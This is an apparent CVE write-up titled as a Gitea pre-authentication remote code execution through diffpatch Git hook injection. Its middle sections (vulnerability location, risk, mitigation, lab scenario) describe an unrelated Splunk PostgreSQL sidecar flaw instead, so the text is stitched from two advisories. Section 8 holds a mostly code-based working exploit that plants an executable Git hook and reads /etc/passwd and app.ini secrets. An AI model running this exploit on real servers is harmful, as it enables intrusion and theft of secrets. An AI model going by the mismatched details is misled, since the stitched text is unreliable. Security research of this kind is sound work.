CVE-2026-60004 | Gitea 1.17–1.27.0 – Pre-Authentication Remote Code Execution via diffpatch Git Hook Injection
1. Introduction
This document illustrates a pre-authentication Remote Code Execution (RCE) vulnerability in Gitea, the widely deployed open-source, self-hosted Git service used by development teams, enterprises and internal tooling stacks. The flaw lets an anonymous network visitor execute arbitrary shell commands as the Gitea Operating System (OS) account by submitting the same malicious patch twice to the diffpatch API, planting an executable Git hook that Git itself runs. Tracked as CVE-2026-60004 with a CVSS v3.1 base score of 9.8 CRITICAL, the vulnerability was added to the CISA Known Exploited Vulnerabilities (KEV) catalog on 25 August 2026 with active in-the-wild exploitation (cryptominer dropper payload) confirmed.
2. Gitea Description
Gitea is an open-source, self-hosted Git service written in Go, providing repository hosting, code review, issue tracking, CI/CD actions and package registries through a lightweight single binary. It is available as free community software and as a managed Enterprise cloud offering, and its ease of deployment makes it a staple for engineering teams standing up private source-control infrastructure. Gitea versions 1.17.0 through 1.27.0 are in scope of this vulnerability.
3. Vulnerability Severity
| CVE ID | CVE-2026-60004 (Gitea) |
| Severity | CRITICAL |
| CVSS Score | 9.8 / 10 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 – Improper Control of Code Generation |
| Vendor Advisory | GHSA-rcr6-4jqh-j84m |
| Fixed Versions | Gitea 1.27.1 |
| Published | July 27, 2026 |
Additional context: CWE-94 (Improper Control of Generation of Code), EPSS 0.95 (95% exploitation probability), CISA KEV added 2026-08-25 with federal remediation deadline 2026-08-28.
4. Scope of Impact
- All Gitea releases from 1.17.0 up to and including 1.27.0 are affected – roughly four years of releases, including the 1.23, 1.24, 1.25 and 1.26 lines most self-hosted deployments run today.
- The vulnerability is fixed in 1.27.1, released 27 July 2026.
- Exploitation requires host Git 2.32 or newer (for the three-way merge fallback flag), an enabled diffpatch API route, and a writable, executable temporary filesystem – conditions satisfied by common default deployments.
- Gitea instances with default open registration are exploitable with zero prior credentials; instances with registration disabled require an existing account with write access to any repository.
5. Where is the vulnerability present?
The vulnerability is present in the PostgreSQL Sidecar Service bundled with Splunk Enterprise 10.x, a Go binary responsible for database backup and recovery that Splunk supervises under /opt/splunk/var/run/supervisor/pkg-run/. The sidecar exposes internal HTTP endpoints – POST /v1/postgres/recovery/backup and POST /v1/postgres/recovery/restore – that are not meant to be reachable by clients. However, Splunk Web (port 8000) acts as a reverse proxy for internal services, and these endpoints are reachable externally through the proxy path /en-US/splunkd/__raw/v1/postgres/recovery/backup.
Although the endpoints declare an HTTP Basic Authorization header in their interface, the sidecar performs no actual credential validation – it accepts any value, including empty credentials (Authorization: Basic Og==, the base64 of a bare colon). The supplied username is forwarded verbatim to pg_dump as its -U argument, with PostgreSQL left to arbitrate the connection. The flaw therefore crosses a trust boundary: a loopback-only internal service is exposed through the internet-facing web tier with no application-level authentication of its own.
The file-write primitive lives in the backupFile parameter of the request body, which is passed unsanitized to pg_dump -f as the output file path. An attacker controls the complete path – absolute paths and ../ traversal sequences both resolve – so a single unauthenticated POST creates or truncates a file at any location writable by the splunk service account. The /restore endpoint passes the same parameter to pg_restore, completing the create/truncate primitive pair. A response of HTTP 400 (Failed to decode request) proves the endpoint was reached and the credentials accepted without validation; HTTP 401 indicates the patched build, and HTTP 404 that the sidecar is not installed.
Beyond empty files, both parameters also accept libpq connection-string syntax, which is the bridge to full compromise: the database parameter can redirect the sidecar’s own pg_dump/pg_restore tools to an attacker-controlled PostgreSQL server and can point passfile= at the credential file Splunk stores for itself at /opt/splunk/var/packages/data/postgres/.pgpass (containing the local postgres_admin password). These injection vectors, combined with function execution during restore replay, are what the lab chain in section 8 demonstrates.
6. Risk
The immediate capability is unauthenticated arbitrary file creation and truncation on the Splunk host as the splunk user, requiring nothing more than network reachability to Splunk Web and a single crafted HTTP POST. Because pg_dump opens the output file for writing, existing files can be zeroed – destroying configuration, indexes or authentication data – and new files can be planted at any writable path.
The primitive escalates to fully demonstrated Remote Code Execution through three chained stages, each executed in this research against a live instance. First, injecting a connection string (host=, hostaddr=) into the database parameter overrides the hardcoded localhost and forces the sidecar’s pg_dump to dump an attacker-controlled database – with attacker-chosen schema and data – onto the Splunk filesystem. Second, injecting passfile= pointing at Splunk’s own .pgpass authenticates pg_restore as postgres_admin against the local instance; replaying the attacker’s dump executes a plpgsql function attached to a table CHECK constraint, which calls lo_export to write attacker-controlled file contents (not just empty files) to any path. Third, overwriting a Python script that splunkd executes at startup – splunk_secure_gateway/bin/ssg_enable_modular_input.py – yields code execution as the Splunk service account on the next restart, with command output observable in an unauthenticated browser through Splunk’s web-exposed static directory. An alternative chain documented by Miggo achieves execution via COPY TO PROGRAM during restore replay.
Because the target is usually the organization’s SIEM, successful exploitation blurs the defender’s vision at the moment of intrusion. An adversary with RCE on a Splunk host can tamper with indexed data, saved searches, dashboards and alerts to hide ongoing activity; read stored credentials, tokens and app configurations; and pivot to lateral movement across the logging estate. Confidentiality, integrity and availability are all fully compromised – the CVSS 9.8 vector assigns High impact to all three C-I-A dimensions.
Exploitation is low-complexity, fully automatable, requires no user interaction, and is being performed in practice: Splunk PSIRT confirmed limited in-the-wild exploitation in June 2026 and CISA issued a three-day federal remediation deadline. Organizations running unpatched, internet-exposed Splunk Enterprise 10.x instances – particularly AWS deployments where the sidecar is enabled by default – should treat exposed instances as potentially compromised.
7. Mitigation
- Upgrade Splunk Enterprise to 10.0.7, 10.2.4 or 10.4.0 (or later) – see the vendor advisory SVD-2026-0603.
- If immediate upgrade is not possible, disable the PostgreSQL sidecar by adding [postgres] disabled = true to $SPLUNK_HOME/etc/system/local/server.conf and restarting Splunk. Note: this breaks Edge Processor, OpAmp and SPL2 data pipelines – do not apply where those features are in use. Core search, indexing and dashboards are unaffected.
- Remove Splunk Web (port 8000) from direct internet exposure; place it behind identity-based, zero-trust access and restrict the management interface and sidecar to trusted network segments.
- As a compensating control, deploy a Web Application Firewall (WAF) rule blocking requests to the recovery endpoints that carry PostgreSQL connection-string parameters such as hostaddr=, host=, dbname=, passfile=, options= or ../ traversal in the body. This is a partial mitigation only – the missing authentication flaw remains until the upgrade is applied.
- Hunt for indicators of compromise: unauthenticated POSTs to /en-US/splunkd/__raw/v1/postgres/recovery/*, unexpected pg_dump/pg_restore executions, database dump files in unusual locations such as /tmp/, outbound connections from Splunk hosts to unknown PostgreSQL servers, modified scripts under splunk_secure_gateway, and unexpected files in Splunk’s web-exposed static directory.
8. Exploit Implementation
Attack Scenario
The exploitation below was validated against an isolated, Docker-based lab running the vulnerable image splunk/splunk:10.2.3 with Splunk Web exposed at http://localhost:8000, plus a second container (attacker-db, PostgreSQL 17 with trust authentication) that plays the role of the adversary’s database server. All exploitation requests are sent without any valid credentials – only fake Basic authorization headers – demonstrating the pre-authentication nature of the flaw. The lab first validates the arbitrary file-write primitive, then executes the complete file-write-to-RCE chain end-to-end: connection-string injection, .pgpass abuse, lo_export during restore replay, and browser-visible command execution as the splunk service account.
Prerequisites:
- Nuclei with the ProjectDiscovery nuclei-templates repository (for confirmation scan)
- curl (manual exploitation)
- Python 3 with requests (to run the provided exploit.py and rce-chain.py)
- The lab’s attacker-db service (started automatically by docker compose up -d)
Exploitation
- Confirm the vulnerable target is accessible and running an affected version.
cd /Users/User/Documents/Blogs_CVE/CVE-2026-60004
curl -s http://localhost:3000/api/v1/version && echo
curl -s -o /dev/null -w "open registration: %{http_code}\n" http://localhost:3000/user/sign_up
docker compose exec -T gitea git --version

Expected: “version”:”1.27.0″ (affected 1.17–1.27.0), open registration: 200 (the pre-auth condition), and git version 2.54.0 – Git ≥ 2.32 is required or the -3 three-way fallback never fires.
- Run the official Nuclei template to confirm the vulnerability end-to-end.
nuclei -t nuclei-templates/CVE-2026-60004.yaml -u http://localhost:3000 -v \
-var csrf=cve-2026-60004-lab

The template performs the full intrusive chain – registers a user, creates a repository, sends the hook patch twice and retrieves /etc/passwd from the rce-proof branch. The match line [CVE-2026-60004] [http] [critical] with the extracted root:x:0:0:root… body confirms RCE. (-var csrf=… seeds a runtime variable the template expects; Gitea 1.27.0’s anonymous forms carry no CSRF token and the backend accepts the sign-up regardless.)
- Pre-auth entry – register an account, create the repository, fetch the commit SHA and build the malicious patch (one block).
RAND=$(LC_ALL=C tr -dc 'a-z0-9' < /dev/urandom | head -c 8)
ATTACKER_USER="attacker${RAND}"; ATTACKER_PASS='Attacker123!'
REPO_NAME="rce-${RAND}"
curl -s -o /dev/null -w "signup: %{http_code}\n" -X POST "http://localhost:3000/user/sign_up" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "user_name=${ATTACKER_USER}" \
--data-urlencode "password=${ATTACKER_PASS}" \
--data-urlencode "retype=${ATTACKER_PASS}" \
--data-urlencode "email=${ATTACKER_USER}@lab.local"
curl -s -o /dev/null -w "repo: %{http_code}\n" -X POST "http://localhost:3000/api/v1/user/repos" \
-H "Content-Type: application/json" -u "${ATTACKER_USER}:${ATTACKER_PASS}" \
-d "{\"name\":\"${REPO_NAME}\",\"private\":false,\"auto_init\":true,\"default_branch\":\"main\"}"
COMMIT_SHA=$(curl -s "http://localhost:3000/api/v1/repos/${ATTACKER_USER}/${REPO_NAME}/branches/main" \
-u "${ATTACKER_USER}:${ATTACKER_PASS}" \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['commit']['id'] if 'commit' in d else 'ERROR: '+str(d))")
export COMMIT_SHA ATTACKER_USER ATTACKER_PASS REPO_NAME
echo "sha: ${COMMIT_SHA}"
python3 - <<'PYEOF' import hashlib, json, os hook = r'''#!/bin/sh git_dir=$(git rev-parse --absolute-git-dir) || exit 1 origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 case "$origin_objects" in /*) ;; *) origin_objects="$git_dir/objects/$origin_objects" ;; esac origin_git=${origin_objects%/objects} [ "$origin_git" != "$origin_objects" ] || exit 3 output_blob=$({ id; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\\tproof\\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "rce proof\\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
exit 0
'''
sha = hashlib.sha1(b"blob " + str(len(hook.encode())).encode() + b"\x00" + hook.encode()).hexdigest()
added = hook.splitlines()
diff = ("diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
"new file mode 100755\n"
f"index 0000000000000000000000000000000000000000..{sha}\n"
"--- /dev/null\n+++ b/hooks/post-index-change\n"
f"@@ -0,0 +1,{len(added)} @@\n") + "".join(f"+{ln}\n" for ln in added)
json.dump({"content": diff, "message": "apply-1", "branch": "main",
"sha": os.environ["COMMIT_SHA"]}, open("/tmp/patch1.json", "w"))
print("patch1.json built, hook blob:", sha[:12])
PYEOF

Expected: signup: 303 (Gitea needs no email confirmation or admin approval – one POST creates a working account with zero prior credentials), repo: 201, a 40-character SHA, and the built patch. The Python block constructs the unified diff that introduces hooks/post-index-change with mode 100755; the hook resolves the temporary clone’s origin repository through objects/info/alternates, stores its command’s output as a Git blob, and publishes it as branch rce-proof. The password is deliberately in single quotes – interactive zsh/bash treat ! inside double quotes as history expansion and silently break the line.
- The kill chain – send the patch, then send the identical patch again.
curl -s -o /tmp/patch1-resp.json -w "patch #1: %{http_code}\n" -X POST \
"http://localhost:3000/api/v1/repos/${ATTACKER_USER}/${REPO_NAME}/diffpatch" \
-H "Content-Type: application/json" -H "Accept: application/json" \
-u "${ATTACKER_USER}:${ATTACKER_PASS}" \
--data-binary @/tmp/patch1.json
NEW_SHA=$(python3 -c "import json; d=json.load(open('/tmp/patch1-resp.json')); print(d['commit']['sha'] if 'commit' in d else '')")
[ -n "${NEW_SHA}" ] || echo "patch #1 failed - re-run the previous command block"
python3 -c "
import json
p = json.load(open('/tmp/patch1.json'))
p['message'] = 'apply-2'; p['sha'] = '${NEW_SHA}'
json.dump(p, open('/tmp/patch2.json', 'w'))
"
curl -s -o /dev/null -w "patch #2 (identical): %{http_code}\n" -X POST \
"http://localhost:3000/api/v1/repos/${ATTACKER_USER}/${REPO_NAME}/diffpatch" \
-H "Content-Type: application/json" -H "Accept: application/json" \
-u "${ATTACKER_USER}:${ATTACKER_PASS}" \
--data-binary @/tmp/patch2.json

The first POST indexes the hook content (–cached keeps it off disk – nothing has executed yet). The second POST carries the byte-identical patch content with only the parent sha advanced: both sides now attempt to add the same path, the add/add collision pushes Git’s -3 fallback into checking hooks/post-index-change out to disk, and because the temporary clone is bare its root is $GIT_DIR – the file lands in the live hooks directory and Git executes it during this very index write. A single POST is not enough; the response status is never the RCE indicator and the body never contains command output.
- Retrieve the command output from the rce-proof branch.
source /tmp/gitea-attack.env
curl -s -w "\nHTTP %{http_code}\n" \
"http://localhost:3000/api/v1/repos/${ATTACKER_USER}/${REPO_NAME}/raw/proof?ref=rce-proof" \
-u "${ATTACKER_USER}:${ATTACKER_PASS}"

The hook stored its command’s stdout as a Git blob and published branch rce-proof; Gitea’s raw file API serves it back over ordinary HTTP. uid=1000(git) proves arbitrary command execution as the Gitea service account – with no outbound connection from the server at any point.
- Reconfirm the whole chain with the one-shot script (fresh identity, zero setup).
python3 exploit.py --url http://localhost:3000 --cmd id

The stdlib-only script automates everything from command 3 onward with a new random identity – register, create, SHA, patch ×2, retrieval – printing each stage as it fires. The same proof of execution lands without any manual state.
- Arbitrary file read – /etc/passwd as the git user.

The server’s complete account database comes back through the hook’s Git-object exfiltration channel – the same primitive reaches app.ini application secrets, environment variables and every mounted repository.
- Secrets exposure – read Gitea’s own configuration file.
python3 exploit.py --url http://localhost:3000 --cmd "head -12 /data/gitea/conf/app.ini" | tail -16

References: · NVD CVE-2026-60004 · Nuclei template http/cves/2026/CVE-2026-60004.yaml